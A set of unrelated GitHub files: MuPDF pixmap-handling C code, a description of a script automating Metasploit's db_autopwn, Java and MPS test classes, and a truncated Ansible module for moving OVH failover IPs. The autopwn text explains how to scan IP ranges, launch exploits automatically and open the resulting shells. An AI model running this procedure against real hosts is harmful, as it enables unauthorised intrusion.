0; if (a) *p++ = 255; } } } void fz_copy_pixmap_rect(fz_context *ctx, fz_pixmap *dest, fz_pixmap *src, fz_irect b, const fz_default_colorspaces *default_cs) { unsigned char *srcp; unsigned char *destp; int y, w, destspan, srcspan; b = fz_intersect_irect(b, fz_pixmap_bbox(ctx, dest)); b = fz_intersect_irect(b, fz_pixmap_bbox(ctx, src)); w = b.x1 - b.x0; y = b.y1 - b.y0; if (w <= 0 || y <= 0) return; srcspan = src->stride; srcp = src->samples + (unsigned int)(srcspan * (b.y0 - src->y) + src->n * (b.x0 - src->x)); destspan = dest->stride; destp = dest->samples + (unsigned int)(destspan * (b.y0 - dest->y) + dest->n * (b.x0 - dest->x)); if (src->n == dest->n) { w *= src->n; do { memcpy(destp, srcp, w); srcp += srcspan; destp += destspan; } while (--y); } else { fz_pixmap fake_src = *src; fake_src.x = b.x0; fake_src.y = b.y0; fake_src.w = w; fake_src.h = y; fake_src.samples = srcp; fz_convert_pixmap_samples(ctx, dest, &fake_src, NULL, default_cs, fz_default_color_params, 0); } } void fz_clear_pixmap_rect_with_value(fz_context *ctx, fz_pixmap *dest, int value, fz_irect b) { unsigned char *destp; int x, y, w, k, destspan; b = fz_intersect_irect(b, fz_pixmap_bbox(ctx, dest)); w = b.x1 - b.x0; y = b.y1 - b.y0; if (w <= 0 || y <= 0) return; destspan = dest->stride; destp = dest->samples + (unsigned int)(destspan * (b.y0 - dest->y) + dest->n * (b.x0 - dest->x)); /* CMYK needs special handling (and potentially any other subtractive colorspaces) */ if (fz_colorspace_n(ctx, dest->colorspace) == 4) { value = 255 - value; do { unsigned char *s = destp; for (x = 0; x < w; x++) { *s++ = 0; *s++ = 0; *s++ = 0; *s++ = value; *s++ = 255; } destp += destspan; } while (--y); return; } if (value == 255) { do { memset(destp, 255, (unsigned int)(w * dest->n)); destp += destspan; } while (--y); } else { do { unsigned char *s = destp; for (x = 0; x < w; x++) { for (k = 0; k < dest->n - 1; k++) *s++ = value; *s++ = 255; } destp += destspan; } while (--y); } } void fz_premultiply_pixmap(fz_context *ctx, fz_pixmap *pix) { unsigned char *s = pix->samples; unsigned char a; int k, x, y; int stride = pix->stride - pix->w * pix->n; if (!pix->alpha) return; for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { a = s[pix->n - 1]; for (k = 0; k < pix->n - 1; k++) s[k] = fz_mul255(s[k], a); s += pix->n; } s += stride; } } fz_pixmap * fz_alpha_from_gray(fz_context *ctx, fz_pixmap *gray) { fz_pixmap *alpha; unsigned char *sp, *dp; int w, h, sstride, dstride; assert(gray->n == 1); alpha = fz_new_pixmap_with_bbox(ctx, NULL, fz_pixmap_bbox(ctx, gray), 0, 1); dp = alpha->samples; dstride = alpha->stride; sp = gray->samples; sstride = gray->stride; h = gray->h; w = gray->w; while (h--) { memcpy(dp, sp, w); sp += sstride; dp += dstride; } return alpha; } void fz_tint_pixmap(fz_context *ctx, fz_pixmap *pix, int black, int white) { unsigned char *s = pix->samples; int n = pix->n; int x, y, save; int rb = (black>>16)&255; int gb = (black>>8)&255; int bb = (black)&255; int rw = (white>>16)&255; int gw = (white>>8)&255; int bw = (white)&255; int rm = (rw - rb); int gm = (gw - gb); int bm = (bw - bb); switch (fz_colorspace_type(ctx, pix->colorspace)) { case FZ_COLORSPACE_GRAY: gw = (rw + gw + bw) / 3; gb = (rb + gb + bb) / 3; gm = gw - gb; for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { *s = gb + fz_mul255(*s, gm); s += n; } s += pix->stride - pix->w * n; } break; case FZ_COLORSPACE_BGR: save = rm; rm = bm; bm = save; save = rb; rb = bb; bb = save; /* fall through */ case FZ_COLORSPACE_RGB: for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { s[0] = rb + fz_mul255(s[0], rm); s[1] = gb + fz_mul255(s[1], gm); s[2] = bb + fz_mul255(s[2], bm); s += n; } s += pix->stride - pix->w * n; } break; default: fz_throw(ctx, FZ_ERROR_GENERIC, "can only tint RGB, BGR and Gray pixmaps"); break; } } /* Invert luminance in RGB/BGR pixmap, but keep the colors as is. */ static inline void invert_luminance(int type, unsigned char *s) { int r, g, b, y; /* Convert to YUV */ if (type == FZ_COLORSPACE_RGB) { r = s[0]; g = s[1]; b = s[2]; } else { r = s[2]; g = s[1]; b = s[0]; } y = (39336 * r + 76884 * g + 14900 * b + 32768)>>16; y = 259-y; r += y; g += y; b += y; if (type == FZ_COLORSPACE_RGB) { s[0] = r > 255 ? 255 : r < 0 ? 0 : r; s[1] = g > 255 ? 255 : g < 0 ? 0 : g; s[2] = b > 255 ? 255 : b < 0 ? 0 : b; } else { s[2] = r > 255 ? 255 : r < 0 ? 0 : r; s[1] = g > 255 ? 255 : g < 0 ? 0 : g; s[0] = b > 255 ? 255 : b < 0 ? 0 : b; } } void fz_invert_pixmap_luminance(fz_context *ctx, fz_pixmap *pix) { unsigned char *s = pix->samples; int x, y, n = pix->n; int type = pix->colorspace ? pix->colorspace->type : FZ_COLORSPACE_NONE; if (type == FZ_COLORSPACE_GRAY) { fz_invert_pixmap(ctx, pix); } else if (type == FZ_COLORSPACE_RGB || type == FZ_COLORSPACE_BGR) { for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { invert_luminance(type, s); s += n; } s += pix->stride - pix->w * n; } } else { fz_throw(ctx, FZ_ERROR_GENERIC, "can only invert luminance of Gray and RGB pixmaps"); } } void fz_invert_pixmap(fz_context *ctx, fz_pixmap *pix) { unsigned char *s = pix->samples; int k, x, y; int n1 = pix->n - pix->alpha; int n = pix->n; for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { for (k = 0; k < n1; k++) s[k] = 255 - s[k]; s += n; } s += pix->stride - pix->w * n; } } void fz_invert_pixmap_rect(fz_context *ctx, fz_pixmap *image, fz_irect rect) { unsigned char *p; int x, y, n; int x0 = fz_clampi(rect.x0 - image->x, 0, image->w); int x1 = fz_clampi(rect.x1 - image->x, 0, image->w); int y0 = fz_clampi(rect.y0 - image->y, 0, image->h); int y1 = fz_clampi(rect.y1 - image->y, 0, image->h); for (y = y0; y < y1; y++) { p = image->samples + (unsigned int)((y * image->stride) + (x0 * image->n)); for (x = x0; x < x1; x++) { for (n = image->n; n > 1; n--, p++) *p = 255 - *p; p++; } } } void fz_gamma_pixmap(fz_context *ctx, fz_pixmap *pix, float gamma) { unsigned char gamma_map[256]; unsigned char *s = pix->samples; int n1 = pix->n - pix->alpha; int n = pix->n; int k, x, y; for (k = 0; k < 256; k++) gamma_map[k] = pow(k / 255.0f, gamma) * 255; for (y = 0; y < pix->h; y++) { for (x = 0; x < pix->w; x++) { for (k = 0; k < n1; k++) s[k] = gamma_map[s[k]]; s += n; } s += pix->stride - pix->w * n; } } size_t fz_pixmap_size(fz_context *ctx, fz_pixmap * pix) { if (pix == NULL) return 0; return sizeof(*pix) + (size_t)pix->n * pix->w * pix->h; } fz_pixmap * fz_convert_pixmap(fz_context *ctx, const fz_pixmap *pix, fz_colorspace *ds, fz_colorspace *prf, fz_default_colorspaces *default_cs, fz_color_params color_params, int keep_alpha) { fz_pixmap *cvt; if (!ds && !keep_alpha) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot both throw away and keep alpha"); cvt = fz_new_pixmap(ctx, ds, pix->w, pix->h, pix->seps, keep_alpha && pix->alpha); cvt->xres = pix->xres; cvt->yres = pix->yres; cvt->x = pix->x; cvt->y = pix->y; if (pix->flags & FZ_PIXMAP_FLAG_INTERPOLATE) cvt->flags |= FZ_PIXMAP_FLAG_INTERPOLATE; else cvt->flags &= ~FZ_PIXMAP_FLAG_INTERPOLATE; fz_try(ctx) { fz_convert_pixmap_samples(ctx, pix, cvt, prf, default_cs, color_params, 1); } fz_catch(ctx) { fz_drop_pixmap(ctx, cvt); fz_rethrow(ctx); } return cvt; } fz_pixmap * fz_new_pixmap_from_8bpp_data(fz_context *ctx, int x, int y, int w, int h, unsigned char *sp, int span) { fz_pixmap *pixmap = fz_new_pixmap(ctx, NULL, w, h, NULL, 1); int stride = pixmap->stride; unsigned char *s = pixmap->samples; pixmap->x = x; pixmap->y = y; for (y = 0; y < h; y++) { memcpy(s, sp + y * span, w); s += stride; } return pixmap; } fz_pixmap * fz_new_pixmap_from_1bpp_data(fz_context *ctx, int x, int y, int w, int h, unsigned char *sp, int span) { fz_pixmap *pixmap = fz_new_pixmap(ctx, NULL, w, h, NULL, 1); int stride = pixmap->stride - pixmap->w; pixmap->x = x; pixmap->y = y; for (y = 0; y < h; y++) { unsigned char *out = pixmap->samples + y * w; unsigned char *in = sp + y * span; unsigned char bit = 0x80; int ww = w; while (ww--) { *out++ = (*in & bit) ? 255 : 0; bit >>= 1; if (bit == 0) bit = 0x80, in++; } out += stride; } return pixmap; } int fz_is_pixmap_monochrome(fz_context *ctx, fz_pixmap *pixmap) { int n = pixmap->n; int w = pixmap->w; int h = pixmap->h; unsigned char *s = pixmap->samples; int x; if (n != 1) return 0; while (h--) { for (x = 0; x < w; ++x) { unsigned char v = s[x]; if (v != 0 && v != 255) return 0; } s += pixmap->stride; } return 1; } #ifdef ARCH_ARM static void fz_subsample_pixmap_ARM(unsigned char *ptr, int w, int h, int f, int factor, int n, int fwd, int back, int back2, int fwd2, int divX, int back4, int fwd4, int fwd3, int divY, int back5, int divXY) __attribute__((naked)); static void fz_subsample_pixmap_ARM(unsigned char *ptr, int w, int h, int f, int factor, int n, int fwd, int back, int back2, int fwd2, int divX, int back4, int fwd4, int fwd3, int divY, int back5, int divXY) { asm volatile( ENTER_ARM "stmfd r13!,{r1,r4-r11,r14} \n" "@STACK:r1,<9>,factor,n,fwd,back,back2,fwd2,divX,back4,fwd4,fwd3,divY,back5,divXY\n" "@ r0 = src = ptr \n" "@ r1 = w \n" "@ r2 = h \n" "@ r3 = f \n" "mov r9, r0 @ r9 = dst = ptr \n" "ldr r6, [r13,#4*12] @ r6 = fwd \n" "ldr r7, [r13,#4*13] @ r7 = back \n" "subs r2, r2, r3 @ r2 = h -= f \n" "blt 11f @ Skip if less than a full row \n" "1: @ for (y = h; y > 0; y--) { \n" "ldr r1, [r13] @ r1 = w \n" "subs r1, r1, r3 @ r1 = w -= f \n" "blt 6f @ Skip if less than a full col \n" "ldr r4, [r13,#4*10] @ r4 = factor \n" "ldr r8, [r13,#4*14] @ r8 = back2 \n" "ldr r12,[r13,#4*15] @ r12= fwd2 \n" "2: @ for (x = w; x > 0; x--) { \n" "ldr r5, [r13,#4*11] @ for (nn = n; nn > 0; n--) { \n" "3: @ \n" "mov r14,#0 @ r14= v = 0 \n" "sub r5, r5, r3, LSL #8 @ for (xx = f; xx > 0; x--) { \n" "4: @ \n" "add r5, r5, r3, LSL #16 @ for (yy = f; yy > 0; y--) { \n" "5: @ \n" "ldrb r11,[r0], r6 @ r11= *src src += fwd \n" "subs r5, r5, #1<<16 @ xx-- \n" "add r14,r14,r11 @ v += r11 \n" "bgt 5b @ } \n" "sub r0, r0, r7 @ src -= back \n" "adds r5, r5, #1<<8 @ yy-- \n" "blt 4b @ } \n" "mov r14,r14,LSR r4 @ r14 = v >>= factor \n" "strb r14,[r9], #1 @ *d++ = r14 \n" "sub r0, r0, r8 @ s -= back2 \n" "subs r5, r5, #1 @ n-- \n" "bgt 3b @ } \n" "add r0, r0, r12 @ s += fwd2 \n" "subs r1, r1, r3 @ x -= f \n" "bge 2b @ } \n" "6: @ Less than a full column left \n" "adds r1, r1, r3 @ x += f \n" "beq 11f @ if (x == 0) next row \n" "@ r0 = src \n" "@ r1 = x \n" "@ r2 = y \n" "@ r3 = f \n" "@ r4 = factor \n" "@ r6 = fwd \n" "@ r7 = back \n" "@STACK:r1,<9>,factor,n,fwd,back,back2,fwd2,divX,back4,fwd4,fwd3,divY,back5,divXY\n" "ldr r5, [r13,#4*11] @ for (nn = n; nn > 0; n--) { \n" "ldr r4, [r13,#4*16] @ r4 = divX \n" "ldr r8, [r13,#4*17] @ r8 = back4 \n" "ldr r12,[r13,#4*18] @ r12= fwd4 \n" "8: @ \n" "mov r14,#0 @ r14= v = 0 \n" "sub r5, r5, r1, LSL #8 @ for (xx = x; xx > 0; x--) { \n" "9: @ \n" "add r5, r5, r3, LSL #16 @ for (yy = f; yy > 0; y--) { \n" "10: @ \n" "ldrb r11,[r0], r6 @ r11= *src src += fwd \n" "subs r5, r5, #1<<16 @ xx-- \n" "add r14,r14,r11 @ v += r11 \n" "bgt 10b @ } \n" "sub r0, r0, r7 @ src -= back \n" "adds r5, r5, #1<<8 @ yy-- \n" "blt 9b @ } \n" "mul r14,r4, r14 @ r14= v *= divX \n" "mov r14,r14,LSR #16 @ r14= v >>= 16 \n" "strb r14,[r9], #1 @ *d++ = r14 \n" "sub r0, r0, r8 @ s -= back4 \n" "subs r5, r5, #1 @ n-- \n" "bgt 8b @ } \n" "add r0, r0, r12 @ s += fwd4 \n" "11: @ \n" "ldr r14,[r13,#4*19] @ r14 = fwd3 \n" "subs r2, r2, r3 @ h -= f \n" "add r0, r0, r14 @ s += fwd3 \n" "bge 1b @ } \n" "adds r2, r2, r3 @ h += f \n" "beq 21f @ if no stray row, end \n" "@ So doing one last (partial) row \n" "@STACK:r1,<9>,factor,n,fwd,back,back2,fwd2,divX,back4,fwd4,fwd3,divY,back5,divXY\n" "@ r0 = src = ptr \n" "@ r1 = w \n" "@ r2 = h \n" "@ r3 = f \n" "@ r4 = factor \n" "@ r5 = n \n" "@ r6 = fwd \n" "12: @ for (y = h; y > 0; y--) { \n" "ldr r1, [r13] @ r1 = w \n" "ldr r7, [r13,#4*21] @ r7 = back5 \n" "ldr r8, [r13,#4*14] @ r8 = back2 \n" "subs r1, r1, r3 @ r1 = w -= f \n" "blt 17f @ Skip if less than a full col \n" "ldr r4, [r13,#4*20] @ r4 = divY \n" "ldr r12,[r13,#4*15] @ r12= fwd2 \n" "13: @ for (x = w; x > 0; x--) { \n" "ldr r5, [r13,#4*11] @ for (nn = n; nn > 0; n--) { \n" "14: @ \n" "mov r14,#0 @ r14= v = 0 \n" "sub r5, r5, r3, LSL #8 @ for (xx = f; xx > 0; x--) { \n" "15: @ \n" "add r5, r5, r2, LSL #16 @ for (yy = y; yy > 0; y--) { \n" "16: @ \n" "ldrb r11,[r0], r6 @ r11= *src src += fwd \n" "subs r5, r5, #1<<16 @ xx-- \n" "add r14,r14,r11 @ v += r11 \n" "bgt 16b @ } \n" "sub r0, r0, r7 @ src -= back5 \n" "adds r5, r5, #1<<8 @ yy-- \n" "blt 15b @ } \n" "mul r14,r4, r14 @ r14 = x *= divY \n" "mov r14,r14,LSR #16 @ r14 = v >>= 16 \n" "strb r14,[r9], #1 @ *d++ = r14 \n" "sub r0, r0, r8 @ s -= back2 \n" "subs r5, r5, #1 @ n-- \n" "bgt 14b @ } \n" "add r0, r0, r12 @ s += fwd2 \n" "subs r1, r1, r3 @ x -= f \n" "bge 13b @ } \n" "17: @ Less than a full column left \n" "adds r1, r1, r3 @ x += f \n" "beq 21f @ if (x == 0) end \n" "@ r0 = src \n" "@ r1 = x \n" "@ r2 = y \n" "@ r3 = f \n" "@ r4 = factor \n" "@ r6 = fwd \n" "@ r7 = back5 \n" "@ r8 = back2 \n" "@STACK:r1,<9>,factor,n,fwd,back,back2,fwd2,divX,back4,fwd4,fwd3,divY,back5,divXY\n" "ldr r4, [r13,#4*22] @ r4 = divXY \n" "ldr r5, [r13,#4*11] @ for (nn = n; nn > 0; n--) { \n" "ldr r8, [r13,#4*17] @ r8 = back4 \n" "18: @ \n" "mov r14,#0 @ r14= v = 0 \n" "sub r5, r5, r1, LSL #8 @ for (xx = x; xx > 0; x--) { \n" "19: @ \n" "add r5, r5, r2, LSL #16 @ for (yy = y; yy > 0; y--) { \n" "20: @ \n" "ldrb r11,[r0],r6 @ r11= *src src += fwd \n" "subs r5, r5, #1<<16 @ xx-- \n" "add r14,r14,r11 @ v += r11 \n" "bgt 20b @ } \n" "sub r0, r0, r7 @ src -= back5 \n" "adds r5, r5, #1<<8 @ yy-- \n" "blt 19b @ } \n" "mul r14,r4, r14 @ r14= v *= divX \n" "mov r14,r14,LSR #16 @ r14= v >>= 16 \n" "strb r14,[r9], #1 @ *d++ = r14 \n" "sub r0, r0, r8 @ s -= back4 \n" "subs r5, r5, #1 @ n-- \n" "bgt 18b @ } \n" "21: @ \n" "ldmfd r13!,{r1,r4-r11,PC} @ pop, return to thumb \n" ENTER_THUMB ); } #endif void fz_subsample_pixmap(fz_context *ctx, fz_pixmap *tile, int factor) { int dst_w, dst_h, w, h, fwd, fwd2, fwd3, back, back2, n, f; unsigned char *s, *d; #ifndef ARCH_ARM int x, y, xx, yy, nn; #endif if (!tile) return; assert(tile->stride >= tile->w * tile->n); s = d = tile->samples; f = 1<<factor; w = tile->w; h = tile->h; n = tile->n; dst_w = (w + f-1)>>factor; dst_h = (h + f-1)>>factor; fwd = tile->stride; back = f*fwd-n; back2 = f*n-1; fwd2 = (f-1)*n; fwd3 = (f-1)*fwd + (int)tile->stride - w * n; factor *= 2; #ifdef ARCH_ARM { int strayX = w%f; int divX = (strayX ? 65536/(strayX*f) : 0); int fwd4 = (strayX-1) * n; int back4 = strayX*n-1; int strayY = h%f; int divY = (strayY ? 65536/(strayY*f) : 0); int back5 = fwd * strayY - n; int divXY = (strayY*strayX ? 65536/(strayX*strayY) : 0); fz_subsample_pixmap_ARM(s, w, h, f, factor, n, fwd, back, back2, fwd2, divX, back4, fwd4, fwd3, divY, back5, divXY); } #else for (y = h - f; y >= 0; y -= f) { for (x = w - f; x >= 0; x -= f) { for (nn = n; nn > 0; nn--) { int v = 0; for (xx = f; xx > 0; xx--) { for (yy = f; yy > 0; yy--) { v += *s; s += fwd; } s -= back; } *d++ = v >> factor; s -= back2; } s += fwd2; } /* Do any strays */ x += f; if (x > 0) { int div = x * f; int fwd4 = (x-1) * n; int back4 = x*n-1; for (nn = n; nn > 0; nn--) { int v = 0; for (xx = x; xx > 0; xx--) { for (yy = f; yy > 0; yy--) { v += *s; s += fwd; } s -= back; } *d++ = v / div; s -= back4; } s += fwd4; } s += fwd3; } /* Do any stray line */ y += f; if (y > 0) { int div = y * f; int back5 = fwd * y - n; for (x = w - f; x >= 0; x -= f) { for (nn = n; nn > 0; nn--) { int v = 0; for (xx = f; xx > 0; xx--) { for (yy = y; yy > 0; yy--) { v += *s; s += fwd; } s -= back5; } *d++ = v / div; s -= back2; } s += fwd2; } /* Do any stray at the end of the stray line */ x += f; if (x > 0) { int back4 = x * n - 1; div = x * y; for (nn = n; nn > 0; nn--) { int v = 0; for (xx = x; xx > 0; xx--) { for (yy = y; yy > 0; yy--) { v += *s; s += fwd; } s -= back5; } *d++ = v / div; s -= back4; } } } #endif tile->w = dst_w; tile->h = dst_h; tile->stride = dst_w * n; if (dst_h > INT_MAX / (dst_w * n)) fz_throw(ctx, FZ_ERROR_MEMORY, "pixmap too large"); tile->samples = fz_realloc(ctx, tile->samples, (size_t)dst_h * dst_w * n); } void fz_set_pixmap_resolution(fz_context *ctx, fz_pixmap *pix, int xres, int yres) { pix->xres = xres; pix->yres = yres; } /* Return the md5 digest for a pixmap */ void fz_md5_pixmap(fz_context *ctx, fz_pixmap *pix, unsigned char digest[16]) { fz_md5 md5; fz_md5_init(&md5); if (pix) { unsigned char *s = pix->samples; int h = pix->h; int ss = pix->stride; int len = pix->w * pix->n; while (h--) { fz_md5_update(&md5, s, len); s += ss; } } fz_md5_final(&md5, digest); } #ifdef HAVE_VALGRIND int fz_valgrind_pixmap(const fz_pixmap *pix) { int w, h, n, total; int ww, hh, nn; int stride; const unsigned char *p = pix->samples; if (pix == NULL) return 0; total = 0; ww = pix->w; hh = pix->h; nn = pix->n; stride = pix->stride - ww*nn; for (h = 0; h < hh; h++) { for (w = 0; w < ww; w++) for (n = 0; n < nn; n++) if (*p++) total ++; p += stride; } return total; } #endif /* HAVE_VALGRIND */ fz_pixmap * fz_convert_indexed_pixmap_to_base(fz_context *ctx, const fz_pixmap *src) { fz_pixmap *dst; fz_colorspace *base; const unsigned char *s; unsigned char *d; int y, x, k, n, high; unsigned char *lookup; int s_line_inc, d_line_inc; if (src->colorspace->type != FZ_COLORSPACE_INDEXED) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot convert non-indexed pixmap"); if (src->n != 1 + src->alpha) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot convert indexed pixmap mis-matching components"); base = src->colorspace->u.indexed.base; high = src->colorspace->u.indexed.high; lookup = src->colorspace->u.indexed.lookup; n = base->n; dst = fz_new_pixmap_with_bbox(ctx, base, fz_pixmap_bbox(ctx, src), src->seps, src->alpha); s = src->samples; d = dst->samples; s_line_inc = src->stride - src->w * src->n; d_line_inc = dst->stride - dst->w * dst->n; if (src->alpha) { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { int v = *s++; int a = *s++; int aa = a + (a>>7); v = fz_mini(v, high); for (k = 0; k < n; k++) *d++ = (aa * lookup[v * n + k] + 128)>>8; *d++ = a; } s += s_line_inc; d += d_line_inc; } } else { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { int v = *s++; v = fz_mini(v, high); for (k = 0; k < n; k++) *d++ = lookup[v * n + k]; } s += s_line_inc; d += d_line_inc; } } if (src->flags & FZ_PIXMAP_FLAG_INTERPOLATE) dst->flags |= FZ_PIXMAP_FLAG_INTERPOLATE; else dst->flags &= ~FZ_PIXMAP_FLAG_INTERPOLATE; return dst; } fz_pixmap * fz_convert_separation_pixmap_to_base(fz_context *ctx, const fz_pixmap *src) { fz_pixmap *dst; fz_colorspace *ss, *base; const unsigned char *s; unsigned char *d; int y, x, k, sn, bn, a; float src_v[FZ_MAX_COLORS]; float base_v[FZ_MAX_COLORS]; int s_line_inc, d_line_inc; ss = src->colorspace; if (ss->type != FZ_COLORSPACE_SEPARATION) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot expand non-separation pixmap"); if (src->n != ss->n + src->alpha) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot expand separation pixmap mis-matching alpha channel"); base = ss->u.separation.base; dst = fz_new_pixmap_with_bbox(ctx, base, fz_pixmap_bbox(ctx, src), src->seps, src->alpha); fz_clear_pixmap(ctx, dst); fz_try(ctx) { s = src->samples; d = dst->samples; s_line_inc = src->stride - src->w * src->n; d_line_inc = dst->stride - dst->w * dst->n; sn = ss->n; bn = base->n; if (base->type == FZ_COLORSPACE_LAB) { if (src->alpha) { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { for (k = 0; k < sn; ++k) src_v[k] = *s++ / 255.0f; a = *s++; ss->u.separation.eval(ctx, ss->u.separation.tint, src_v, sn, base_v, bn); *d++ = (base_v[0] / 100) * 255.0f; *d++ = base_v[1] + 128; *d++ = base_v[2] + 128; *d++ = a; } s += s_line_inc; d += d_line_inc; } } else { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { for (k = 0; k < sn; ++k) src_v[k] = *s++ / 255.0f; ss->u.separation.eval(ctx, ss->u.separation.tint, src_v, sn, base_v, bn); *d++ = (base_v[0] / 100) * 255.0f; *d++ = base_v[1] + 128; *d++ = base_v[2] + 128; } s += s_line_inc; d += d_line_inc; } } } else { if (src->alpha) { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { for (k = 0; k < sn; ++k) src_v[k] = *s++ / 255.0f; a = *s++; ss->u.separation.eval(ctx, ss->u.separation.tint, src_v, sn, base_v, bn); for (k = 0; k < bn; ++k) *d++ = base_v[k] * 255.0f; *d++ = a; } s += s_line_inc; d += d_line_inc; } } else { for (y = 0; y < src->h; y++) { for (x = 0; x < src->w; x++) { for (k = 0; k < sn; ++k) src_v[k] = *s++ / 255.0f; ss->u.separation.eval(ctx, ss->u.separation.tint, src_v, sn, base_v, bn); for (k = 0; k < bn; ++k) *d++ = base_v[k] * 255.0f; } s += s_line_inc; d += d_line_inc; } } } if (src->flags & FZ_PIXMAP_FLAG_INTERPOLATE) dst->flags |= FZ_PIXMAP_FLAG_INTERPOLATE; else dst->flags &= ~FZ_PIXMAP_FLAG_INTERPOLATE; } fz_catch(ctx) { fz_drop_pixmap(ctx, dst); fz_rethrow(ctx); } return dst; }
{ "pile_set_name": "Github" }
********************************************************************** Automatic MetaSploit AutoPWN Function: Requirements: PExpect ********************************************************************** Metasploit 3 allows you to use a function called db_autopwn. Autopwn in a basic nutshell port scans systems for open ports, based on which ports are open, Metasploit automatically launches exploits based on port numbers. It doesn't do advanced fingerprinting or launch exploits based on operating system or what is running on that port. It just launches a slew of exploits at a specific host if that port is in-fact open. Generally, when using this, there is a series of commands you have to issue, for example db_load sqlite3, db_nmap ipaddy, db_autopwn -p -t -e and so on and so forth. I've made a quick script that automates all of this for you using a python module called PExpect. Basically, you only have to specific your database your using, and generally this is going to be sqlite3 (needs to be installed from the update menu!) and the ip addresses you want to attack, and it does everything for you. Remember, on the IP addresses, you can use a range, anything that is acceptable to NMap. Once all exploits have finished, you can use sessions -l to list any successful shells that were spawned on a specific exploit. To jump to a specific shell, type sessions -i <id> to jump to that specific shell and into the machine you just popped. **********************************************************************
{ "pile_set_name": "Github" }
class C { class D { public int i() { return 2; } } static class E { public int i() { return 2; } } static class F { static class G { public int i() { return 2; } } } } // Test2 has an INNERCLASS attribute for C$D class Test_2 { public static int acceptD(C.D cd) { return cd.i(); } public static int acceptE(C.E ce) { return ce.i(); } public static int acceptG(C.F.G cg ) { return cg.i(); } }
{ "pile_set_name": "Github" }
package jetbrains.mps.editorTest; /*Generated by MPS */ import jetbrains.mps.MPSLaunch; import jetbrains.mps.lang.test.runtime.BaseTransformationTest; import org.junit.ClassRule; import jetbrains.mps.lang.test.runtime.TestParametersCache; import org.junit.Test; import jetbrains.mps.lang.test.runtime.BaseEditorTestBody; import jetbrains.mps.lang.test.runtime.TransformationTest; @MPSLaunch public class MoveRangeToBlock_Test extends BaseTransformationTest { @ClassRule public static final TestParametersCache ourParamCache = new TestParametersCache(MoveRangeToBlock_Test.class, "${mps_home}", "r:914ee49a-537d-44b2-a5fb-bac87a54743d(jetbrains.mps.editorTest@tests)", false); public MoveRangeToBlock_Test() { super(ourParamCache); } @Test public void test_MoveRangeToBlock() throws Throwable { new TestBody(this).testMethod(); } /*package*/ static class TestBody extends BaseEditorTestBody { /*package*/ TestBody(TransformationTest owner) { super(owner); } @Override public void testMethodImpl() throws Exception { initEditorComponent("7386845112408787974", "7386845112408787994"); invokeAction("jetbrains.mps.ide.editor.actions.SelectPrevious_Action"); invokeAction("jetbrains.mps.ide.editor.actions.SelectPrevious_Action"); invokeAction("jetbrains.mps.ide.editor.actions.MoveElementsDown_Action"); invokeAction("jetbrains.mps.ide.editor.actions.MoveDown_Action"); } } }
{ "pile_set_name": "Github" }
#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = ''' --- module: ovh_ip_failover short_description: Manage OVH IP failover address description: - Manage OVH (French European hosting provider) IP Failover Address. For now, this module can only be used to move an ip failover (or failover block) between services author: "Pascal HERAUD (@pascalheraud)" notes: - Uses the python OVH Api U(https://github.com/ovh/python-ovh). You have to create an application (a key and secret) with a consummer key as described into U(https://docs.ovh.com/gb/en/customer/first-steps-with-ovh-api/) requirements: - ovh >= 0.4.8 options: name: required: true description: - The IP address to manage (can be a single IP like 1.1.1.1 or a block like 1.1.1.1/28 ) service: required: true description: - The name of the OVH service this IP address should be routed endpoint: required: true description: - The endpoint to use ( for instance ovh-eu) wait_completion: required: false default: true type: bool description: - If true, the module will wait for the IP address to be moved. If false, exit without waiting. The taskId will be returned in module output wait_task_completion: required: false default: 0 description: - If not 0, the module will wait for this task id to be completed. Use wait_task_completion if you want to wait for completion of a previously executed task with wait_completion=false. You can execute this module repeatedly on a list of failover IPs using wait_completion=false (see examples) application_key: required: true description: - The applicationKey to use application_secret: required: true description: - The application secret to use consumer_key: required: true description: - The consumer key to use timeout: required: false default: 120 description: - The timeout in seconds used to wait for a task to be completed. Default is 120 seconds. ''' EXAMPLES = ''' # Route an IP address 1.1.1.1 to the service ns666.ovh.net - community.general.ovh_ip_failover: name: 1.1.1.1 service: ns666.ovh.net endpoint: ovh-eu application_key: yourkey application_secret: yoursecret consumer_key: yourconsumerkey - community.general.ovh_ip_failover: name: 1.1.1.1 service: ns666.ovh.net endpoint: ovh-eu wait_completion: false application_key: yourkey application_secret: yoursecret consumer_key: yourconsumerkey register: moved - community.general.ovh_ip_failover: name: 1.1.1.1 service: ns666.ovh.net endpoint: ovh-eu wait_task_completion: "{{moved.taskId}}" application_key: yourkey application_secret: yoursecret consumer_key: yourconsumerkey ''' RETURN = ''' ''' import time try: import ovh import ovh.exceptions from ovh.exceptions import APIError HAS_OVH = True except ImportError: HAS_OVH = False from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.six.moves.urllib.parse import quote_plus def getOvhClient(ansibleModule): endpoint = ansibleModule.params.get('endpoint') application_key = ansibleModule.params.get('application_key') application_secret = ansibleModule.params.get('application_secret') consumer_key = ansibleModule.params.get('consumer_key') return ovh.Client( endpoint=endpoint, application_key=application_key, application_secret=application_secret, consumer_key=consumer_key ) def waitForNoTask(client, name, timeout): currentTimeout = timeout while client.get('/ip/{0}/task'.format(quote_plus(name)), function='genericMoveFloatingIp', status='todo'): time.sleep(1) # Delay for 1 sec currentTimeout -= 1 if currentTimeout < 0: return False return True def waitForTaskDone(client, name, taskId, timeout): currentTimeout = timeout while True: task = client.get('/ip/{0}/task/{1}'.format(quote_plus(name), taskId)) if task['status'] == 'done': return True time.sleep(5) # Delay for 5 sec because it's long to wait completion, do not harass the API currentTimeout -= 